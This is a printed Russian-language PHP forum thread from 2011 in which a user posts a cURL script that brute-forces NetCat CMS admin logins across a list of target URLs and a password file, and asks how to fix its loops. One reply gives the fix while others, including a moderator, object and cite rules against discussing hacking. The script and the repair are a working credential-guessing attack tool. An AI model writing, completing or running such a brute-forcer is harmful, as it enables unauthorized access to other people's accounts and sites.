Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: Помогите с циклами
Форумы портала PHP.SU » » Работа с сетью » Помогите с циклами

Страниц (1): [1]
 

1. vlados - 30 Июня, 2011 - 11:42:24 - перейти к сообщению
PHP:
скопировать код в буфер обмена
  1. $a = file("url");
  2. $b = file("loginplaspassword");
  3. foreach ($a as $aline) {
  4. foreach ($b as $bline) $aline = trim($aline); $bline = trim($bline);
  5.  
  6. $curl = curl_init();
  7. curl_setopt($curl, CURLOPT_URL, "$aline");
  8. curl_setopt($curl, CURLOPT_POST, "/netcat/admin/ HTTP/1.1");
  9. curl_setopt($curl, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
  10. curl_setopt($curl, CURLOPT_COOKIE, "sid=13d05b03e2bf33aa02badf93b4d57a54");
  11. curl_setopt($curl, CURLOPT_POSTFIELDS, "AUTH_USER=$bline&NEW_AUTH_LANG=Russian&submit=%C0%E2%F2%EE%F0%E8%E7%EE%E2%E0%F2%FC%F1%FF&AuthPhase=1");
  12. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  13.  
  14. //admin&AUTH_PW=1234
  15.  
  16. $data = curl_exec($curl);
  17.  
  18. $data = strpos($data, "support@netcat.ru");
  19. if($data==TRUE){echo 1;}
  20. if($data==FALSE){echo "0<br />";}
  21.  
  22. curl_close($curl);
  23. }


Проблема в том, что в url три ссылки, а в loginplaspassword строк штук сто, как исправить, что бы правильно работал, т.е. брал одну ссылку, проходился по всем паролям, потом брал вторую ссылку и тоже проходился по паролям, и так пока не кончатся ссылки.
2. OrmaJever - 30 Июня, 2011 - 11:56:31 - перейти к сообщению
vlados такое ощущение что этот скрит пишешь не ты а весь форум
http://forum.php.su/topic.php?fo...1&topic=8004
http://forum.php.su/topic.php?fo...1&topic=8016
http://forum.php.su/topic.php?fo...1&topic=7995
http://forum.php.su/topic.php?fo...1&topic=8001
http://forum.php.su/topic.php?fo...1&topic=7994
http://forum.php.su/topic.php?fo...1&topic=7993
http://forum.php.su/topic.php?fo...1&topic=7990
http://forum.php.su/topic.php?fo...1&topic=7924
Вот оно, пошаговое написание брутера (и как я понял для контакта). php не подходит для брутера т.к. не имеет многопоточности.
и я дал ответ на готовую вещь
http://forum.php.su/topic.php?fo...46553#1309346553
3. vlados - 30 Июня, 2011 - 12:05:33 - перейти к сообщению
OrmaJever не пишу я. А весь форум помогает Задрал нос
Может поможешь?
(Добавление)
OrmaJever много тем на создавал, т.к. раньше не писал на курл, не писал бруты.
4. vsll - 30 Июня, 2011 - 12:07:50 - перейти к сообщению
действительно фигнёй страдаешь vlados Брут давно не актуальный способ взлома веб сервисов, к тому же на многих из них защита от перебора паролей. Тут ещё curl multi или сокеты подошли бы, да и зачем вам чьи то пароли? зло порождает ещё большее зло. Ладно бы прибыль какая была, а то вообще непонятно зачем это надо, просто насолить кому-то?
5. vlados - 30 Июня, 2011 - 12:09:41 - перейти к сообщению
Vasiliya мне брут нафиг не нужен, он нужен прорабу. На netcat защиты от брута 0.
6. OrmaJever - 30 Июня, 2011 - 12:11:18 - перейти к сообщению
По теме: во втором цыкле foreach поситавить фигурные скобки сначала и до конца скрипта (после curl_close)
и к сведенью п. правил 1.7
Цитата:
1.7. Запрещается обсуждение тем, противоречащих законодательству РФ, в частности, обсуждение взлома программ и серверов, похищения интеллектуальной собственности и пр.
7. vlados - 30 Июня, 2011 - 12:11:40 - перейти к сообщению
OrmaJever карму обещанную тебе отдал.
(Добавление)
OrmaJever не пали блин правила!
8. EuGen - 30 Июня, 2011 - 12:17:35 - перейти к сообщению
vlados,
Темы такого характера не поощряются как минимум.
Я конечно допускаю, что после закрытия подобных тем они будут возникать вновь в завуалированном виде, но хочется предостеречь Вас от этого.

 

Powered by ExBB FM 1.0 RC1